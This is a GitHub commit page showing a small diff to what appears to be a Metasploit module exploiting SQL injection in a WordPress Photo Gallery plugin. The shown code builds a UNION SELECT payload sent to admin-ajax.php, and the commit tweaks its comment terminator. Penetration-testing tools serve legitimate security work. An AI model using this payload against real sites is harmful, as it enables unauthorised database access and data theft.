We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
There was an error while loading. Please reload this page.
1 parent cf0596a commit 9d56001Copy full SHA for 9d56001
modules/auxiliary/gather/wp_photo_gallery_sqli.rb
@@ -56,7 +56,7 @@ def get_sqli_object
56
create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload|
57
expr = payload.to_s.gsub(/\s+/, ' ').strip
58
cols = Array.new(23) { |i| i == 7 ? "(#{expr})" : rand(1000..9999).to_s }
59
- injected = ")\" union select #{cols.join(',')} -- -g"
+ injected = ")\" union select #{cols.join(',')} -- -"
60
endpoint = normalize_uri(datastore['TARGETURI'], 'wp-admin', 'admin-ajax.php')
61
params = {
62
'action' => 'bwg_frontend_data',
0 commit comments